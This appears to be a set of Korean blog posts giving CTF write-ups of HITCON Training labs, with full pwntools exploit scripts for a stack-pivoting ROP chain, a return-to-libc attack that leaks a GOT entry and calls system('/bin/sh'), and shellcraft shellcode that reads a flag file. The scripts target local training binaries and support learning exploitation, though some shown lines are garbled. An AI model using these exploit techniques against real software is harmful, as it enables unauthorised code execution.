이번 문제에서도 마찬가지로 eip가 바뀌는 것을 확인을 했으나.. 전혀 exploit이 안되는 상황에 놓였습니다. 


제가 내린 결론은 BOF로 스택에 원하는대로 값을 채울 수 있고, eip레지스터의 값을 컨트롤 할 수 있음에도.. 실행을 할 수 없는 어떤 이유가 있다. 정도로

결론을 내렸습니다. 물론 이번 문제에서도, 또 저번 문제에서도 NX가 걸려있지는 않았지만... 이런 상황에서는 stack을 실행 시킬 수 있는 다른 메모리 공간으로 이동을 시켜야한다! 라고 일단은 정리하고 가려고합니다.

관련되서 정확한 지식을 가지고 계신분은 피드백 주세요ㅠㅠ



2. 분석


migration.c의 내용입니다.


1
2
3
4
5
6
7
8
9
10
int main(){
    if(count != 1337)
        _exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return ;    
}
cs


소스코드 자체는 간단해요. "Try your best : " 문자열을 출력한 다음 40byte짜리 배열에 64byte만큼 read해서 BOF가 발생하는 코드입니다.


3. exploit


여느때와 마찬가지로 exploit코드를 보면서 찬찬히 뜯어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
 
log.info(proc.recv())
 
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
 
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
 
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


하... 엄청 기네요ㅋㅋ 사실 간략하게 짜면 짧을 수도 있지만, 설명을 위해 주석도 달고.. 최대한 직관적으로 코드가 이해 되도록 짜서 길어졌어요ㅠ
부분부분 잘라서 볼께요~

3-1 intro 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
cs


먼저 첫 라인부터 43번째 라인까지 한번 보겠습니다.

1 ~ 4라인은 exploit에 필요한 정보들을 쉽게 얻으려고 문제 파일(migration)과 migration이 참조하고 있는 so파일을 ELF()로 열었어요.

여기서 필요한 함수의 plt/got, symbol주소를 얻을 거에요. 


6,7라인은 디버그 모드로 이 코드를 돌리겠다(?) 정도로 보면 될 것 같습니다. 나중에 출력되는 걸 보면 아실거에요!


stack migration이 사용가능한 메모리 공간으로 스택을 이동시켜서 사용하는 거라 그랬져?

12 ~ 16라인에서 이 스택 공간을 정의해주고 있습니다.

사실 이 공간을 선정하는 방법에 대해서는 아직 잘 모르겠습니다ㅠ writeup에서는 bss+0x600, bss+0x700의 공간을 찍고있는데,



보시다시피 objdump로 살펴본바로는 bss는 8바이트 밖에 되지 않아요..

이외의 공간이라는건데 저 부분이 어디인지는 잘모르겠습니다. 다만, gdb로 확인을 했을 때는 0으로 초기화되어있는 공간이기는 하더군요.

저는 dynamic section + 0x600과 0x700을 더한 부분을 사용했습니다. 마찬가지로 이 공간이 어디인지는 모르구요..ㅠ


19~25라인에서는 필요한 plt, got 그리고 symbol주소를 가져왔습니다.

libc에서 puts와 system함수의 차이를 구한 후 이따가 실제 프로그램이 돌아갈 때 puts의 주소를 받아서 system함수를 계산할꺼에요.

그리고 이 과정에서 read함수가 필요하기 때문에 read의 plt주소도 가져옵니다.


그리고 필요한 rop 가젯들을 구해왔어요(37~43). pr은 puts사용할 때, pppr은 read사용할 때 쓰기위함이고! 

leave_ret는 ebp를 바꿔서 스택공간을 바꿀 때 사용할거에요.


3-2. payload


페이로드는 크게 세 부분으로 나뉘어져있어요


1
2
3
4
5
6
7
8
9
10
11
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
cs


우선 step1을 보시면, 더미를 쓰고 스택공간을 옮길거에요.


a를 40개 채워서 버퍼공간을 모두 채운 후 fake_stack1의 주소를 SFP에 덮어써서 ebp의 값을 바꿔줍니다. 그리고 read를 실행해요.

여기서 눈여겨 보셔야할 부분은 스택을 정리하는 부분에 pppr의 가젯 주소가 아닌 leave_ret주소가 들어간다는 점이에요.


read를 실행하고 나서 leave; ret;를 실행 하게 되는 거겠지요? 그렇다면 leave; ret;가 어떤 일을 하는지 한번 보자구요.



에필로그는 다음과 같다.

leave

mov esp, ebp

pop ebp


ret

pop eip

jmp eip


어셈블리어를 해석하자면 'ebp의 주소값을 esp로 복사하고

현재 스택의 제일 위에있는 내용을 ebp에 넣고 return 한다'고 알수있다


출처: http://r00p3r.tistory.com/entry/leave-ret의-이해 [r00p3r]


보시다시피 leave는 esp에 ebp의 값을 넣어주고 ebp를 스택에서부터 팝 해옵니다.

ret는 eip를 스택에서 pop해오고, 그 후에 그 주소로 점프를 뜁니다.


일단 step1에서는 여기까지만 숙지하시고 다음 스텝으로 넘어가볼게요.

정리하자면 step1에서는 스택을 fake_stack1으로 옮겼고, 표준입력으로 받은 값을 이 fake_stack1에 써준다. 그리고 난 후 leave_ret를 실행한다.

이렇게 정리 할 수 있겠습니다.



이제 step2를 이어서 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
cs


맨위에 fake_stack2의 주소를 써주고 있는 것이 보이시나요?

좀전 step1에서 read함수를 실행 한 다음 하는 것이  leave ret라고 했잖아요. 스택 최상단에 있는 값, 그러니까 지금 보내는 payload의

제일 첫번째 값이 ebp값으로 바뀌게 되고(leave), 그 다음에 있는 주소값을 eip에 넣은 후 그 주소로 점프를 뛰게 됩니다.(ret)

따라서 ebp가 fake_stack2로 바뀌고, puts를 실행하게 되겠지요.


puts의 인자는 puts_got에 있는 값을 출력하게 됩니다.

그리고 나서 다시 표준입력으로 fake_stack2에 값을 쓰도록 만들었습니다. 그리고 leave_ret을 하니까

다음 입력에는 fake_stack1의 주소 값이 들어 있으리라 예상할 수 있겠지요.


step2에서는 puts의 got주소를 출력하고 fake_stack2로 스택의 공간을 이동시켰어요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


마지막 step3에서는 출력된 puts의 got를 읽어서 위에서 계산한 offset을 이용하여 system함수의 주소를 계산해 냅니다.
그리고 스택공간을 다시 fake_stac1으로 바꾸고, 표준입출력으로 /bin/sh문자열을 입력받아 system함수를 call하면 마무리됩니다.

끝!


1. 시작하기전에...

이 풀이를 보시기 전에 앞서 블로깅한 글(rop)을 보고 와주시면 감사하겠습니다.


링크 : http://bachs.tistory.com/entry/NXNo-eXcutable-ROP?category=961837


return to libary는 함수의 리턴주소를 overflow를 이용하여 사용하고자 하는 함수의 주소로 덮어써 프로그램의 실행 플로우를 조작하는 것을 말합니다.

이 문제에서는 Print_message()의 리턴주소를 덮어썼습니다.


2. 분석


먼저, 문제에서 주어진 ret2lib.c파일을 살펴봅시다.


#include <stdio.h>
 
void See_something(unsigned int addr){
    int *address ;
    address = (int *)addr ;
    printf("The content of the address : %p\n",*address);
};
 
void Print_message(char *mesg){
    char buf[48];
    strcpy(buf,mesg);
    printf("Your message is : %s",buf);
}
 
int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in dec) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtol(address);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    read(0,message,256);
    Print_message(message);
    puts("Thanks you ~");
    return 0 ; 
}


처음으로는 return to library에 대해 알고있는지 물어본 후 메모리 어떤 부분을 보고싶냐고 친절하게 물어봅니다.

알고 싶은 주소값을 던져주면 See_something()을 통해서 해당 주소에 어떤 값이 저장되어 있는지를 출력을 해주고있습니다.


그리고 남길말을 입력하라고하는데 이때 Print_message에서 Buffer Overflow를 발생시킬 수 있습니다.

Print_message의 인자로 입력할 남길말이 message변수에 담겨서 전달이 되는데 사이즈를 256바이트를 받습니다.

그리고 함수 내에서는 지역변수 48바이트짜리 버퍼에 카피를 하고있습니다.


함수 내 지역변수는 프로그램 스택에 저장이 되기 때문에 48바이트 공간에 256바이트를 카피하면 Overflow가 발생하게 되는 것이지요!

혹시 이해가 잘 안되신다면 앞선 블로깅들을 보고와주시기 바랍니다ㅠ


그럼 코드를 봤으니 gdb로 한번 까봅시다.

Print_message의 +6  에서 함수의 input으로 보이는 ebp+0x8을 eax에 넣고,

+9에서는 이 eax의 값을 esp+0x4 위치(스택 최상위 바로 아래)에 저장하고있습니다. 그리고

+13에서 eax에 지역변수 buf로 보이는 ebp-0x38을 저장한 후

+16에서 esp로 저장하고나서

+19에서 strcpy함수를 호출합니다.


결과적으로 정리하면 스택 최상위에는 ebp-0x38, 그 아래에 ebp+0x8이 각각 위치하고 strcpy가 호출 되는 거네요

c소스 중 strcpy(buf, mesg); 이 라인이 어셈으로 표현됐다고 보면 되겠습니다.


따라서, ebp-0x38(56)에 buf값이 저장될테고, 리턴 주소를 덮어 쓰려면 60개의 dummy가 필요하다는 계산이 나올 수 있습니다.

현재까지 분석한 스택의 상황을 그려보면 이런 모습이겠죠, dummy가 60바이트만큼 필요하단 건 buf size(56byte) + SFP(4byte)를 말씀드린 것입니다.


3. exploit


return to library를 하기위해서 준비할 것은 크게


1. Overflow로 덮어쓸 위치

2. 사용하고 싶은 함수와 기타 리소스 주소 알아내기


정도가 될 것 같습니다.

Overflow로 덮어쓸 위치는 구했고.. system("/bin/sh")를 사용할 거고, 따라서 필요한건 system함수의 주소, "/bin/sh"문자열의 주소를 알아내야합니다.


알아 낼 방법은 이 프로그램 내에서 특정 주소를 입력하면 그 값을 알려주기 때문에, 프로그램에서 사용된 puts의 got를 입력해 puts의 실제 함수 주소를 알아내고, 그 값을 기준으로 system 함수의 주소와 "/bin/sh"의 주소를 계산해 내도록 하겠습니다.


solv.py

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ret2lib')
= ELF('./ret2lib')
 
#found address of puts got
log.info("found address of puts got : %s" % hex(e.got["puts"]))
puts_got = e.got["puts"]
 
p.recvuntil(":")
p.send(str(puts_got))
 
puts_addr = p.recvline()
puts_addr = int(puts_addr.split(":")[1].strip(), 16
 
sys_offset   = 0x24d40
binsh_offset = 0xfd548
 
system_addr = puts_addr - sys_offset
binsh_addr  = puts_addr + binsh_offset
 
log.info("address of puts : %s" % hex(puts_addr))
log.info("address of system : %s" % hex(system_addr))
log.info("address of /bin/sh string : %s" % hex(binsh_addr))
 
payload  = ""
payload += "a"*60 #dummy 60bytes
payload += p32(system_addr)
payload += "aaaa"
payload += p32(binsh_addr)
 
p.recvuntil(":")
p.send(payload)
p.interactive()



먼저 puts의 got를 알아내서 이 주소값을 프로그램에 전송하고, 결과로 실제 puts 함수의 주소를 알아냅니다.

그리고 이 값을 기준으로 system 함수의 offset과 "/bin/sh"문자열의 offset으로 계산하여 실제 주소들을 알아내는데,

offset은 이렇게 계산할 수 있습니다.

gdb로 프로그램을 실행 한 후 실행 당시의 주소 값들을 가지고 계산을 하는데, puts의 함수와 얼마나 떨어져 있는지를

offset으로 사용하여 프로그램 실행 당시에도 각각의 위치를 알아 낼 수 있는 것이지요.


계산이 끝났다면 이제 payload만 완성 시켜주면됩니다. 60개의 dummy를 넣고, system함수의 주소와 가상의 리턴 주소값(dummy) 그리고 system함수의 인자를 넣어주면 payload완성입니다.



끝!

'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab8 / FormatString  (0) 2017.12.19
[HITCON Training] lab6 / Stack migration, Stack pivoting  (0) 2017.12.15
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01


1. 시작전에...

이번에 HICON Training을 CodeByO와 같이 풀어보기로했습니다. 저는 짝수번을 맡기로 하였고, 풀이 내용을 블로깅 할 예정입니다.


pwntools의 shellcraft를 이용하면 각 아키텍쳐(x86, amd64, arm, mips, ...)에 맞는 쉘코드를 손쉽게 만들어 사용할 수 있습니다.

낮은 번호의 문제라서 그런지 어떤 지식이 필요했다기 보다는 shellcode를 만들 수 있는 지를 확인 하는 것 같았습니다. 사실 풀이랄 것도 별로 없어요ㅠ


2.  분석

먼저 file명령어를 이용해서 어떤 파일인지 살펴보니까 ELF 32bit실행파일입니다.



실행파일이니까 실행을 한번 해봅시다.


실행하면 "Give my your shellcode:" 가 프린트 되고, 입력을 받습니다.

hello 라고 입력을 했더니 세그먼트 폴트가 나고 말았네요.


ida를 이용해서 디컴파일을 해보면


간단하게 메인 함수가 있습니다. 살펴보면 위에서 직접 실행하면서 봤던 Give my... 문자열을 print해준 후에 shellcode에 입력 값을 200byte넣어 준 후 아래에서 실행 하는 것 같습니다.



gdb(peda)로 한번 열어보겠습니다.

main+41 ~ 53까지를 보면 0xc8, 0x804a060, 0x0을 차례대로 스택에 push한 후 read함수를 호출하고 있습니다. 0xc8은 10진수로 200으로

ida에서 본 read(0, &shellcode, 200u); 부분이 되겠네요. 그리고 main+61, 66을보면 0x804a060을 eax에 넣고 call eax를 하고 있습니다.


우리가 Give my... 이후에 입력한 값은 0x804a060에 저장이 되고 결과적으로 main+66에서 call하게 되는 것이지요



따라서 Give my.. 이후에 적당한 쉘코드를 넣어주면 그 쉘코드가 실행이 될 것으로 보입니다.

문제에서 의도한 것은 원래 서버에 있는 flag를 읽는 것이지만, 현재 HITCON Training의 서버가 죽은 것으로 보여 local 환경에서 테스트 해보기로 합시다.


3. exploit


============solv.py============

from pwn import *

p = process('./orw.bin')

context(arch='i386', os='linux')

shellcode = ''

shellcode += shellcraft.pushstr('flag')

shellcode += shellcraft.open('esp', 0, 0)

shellcode += shellcraft.read('eax', 'esp', 100)

shellcode += shellcraft.write(1, 'esp', 100)

#log.info(shellcode)

p.recvuntil('Give my your shellcode:')

p.send(asm(shellcode))

log.success(p.recvline())

==============================



우리에게 필요한 것은 32bit환경의 쉘코드가 필요하므로 arch는 i386, os는 리눅스로 컨텍스트를 설정해 주고 난 다음
쉘코드를 만들 내용을 shellcraft를 이용해서 만듭니다.

shellcode += shellcraft.pushstr('flag') #open함수의 인자로 사용하기 위해 파일명을 push

shellcode += shellcraft.open('esp', 0, 0) #스택 최 상단에는 파일명이 있으므로, esp를 이용해서 open함수를 call

shellcode += shellcraft.read('eax', 'esp', 100) #open함수 호출 후 eax에 fd가 반환되므로 해당 fd에서 100byte만큼 읽어서 esp에 저장

shellcode += shellcraft.write(1, 'esp', 100) #write함수의 fd에 표준출력을 주어서 파일 내용을 출력




local에서 테스트하기 위해 생한 flag파일이 정상적으로 읽혀 출력되는 것을 확인 할 수 있습니다.



[추가] pwnable.kr 의 Toddler`s Bottle에 있는 asm문제가 유사하니 풀어보시는 것을 추천드립니다.


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab6 / Stack migration, Stack pivoting  (0) 2017.12.15
[HITCON Training] lab4 / return to library  (0) 2017.11.29
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (5) 2017.07.31

+ Recent posts